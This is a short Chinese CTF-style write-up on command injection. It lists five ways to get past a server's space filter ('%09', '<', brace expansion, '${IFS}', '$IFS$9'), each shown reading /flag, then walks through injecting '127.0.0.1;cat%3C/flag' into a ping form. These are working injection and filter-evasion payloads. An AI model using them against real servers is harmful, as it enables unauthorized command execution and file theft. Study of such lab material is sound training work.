背景

命令执行是一种常见的攻击方式。服务器通常会通过各种方式来防止命令执行。例如,服务器可能会对输入的参数进行校验,只允许特定格式的参数,或者只允许特定的命令。

然而,这些防护措施并不是万无一失的。攻击者可能会找到绕过这些防护措施的方法,使得攻击者可以在服务器上执行任意命令。

空格绕过

  1. 制表符%09,cat%09/flag
  2. <, cat</flag, cat%3C/flag
  3. {}, {cat,/flag}
  4. ${IFS}, cat${IFS}/flag
  5. $IFS$9, cat$IFS$9/flag

同一种绕过方法可能小概率会因为linux系统版本不同失效

思路

这里输入 127.0.0.1 时,输出

PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.033 ms
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.064 ms

--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.033/0.048/0.064 ms

系统检测到该设备处于在线状态

尝试命令执行 127.0.0.1;cat /flag ,输出

服务器检测到可疑的空格,启动了查杀程序😋                        

根据总结的绕过方法不断尝试,最终

127.0.0.1;cat%3C/flag

即可绕过,也可以尝试总结的其它办法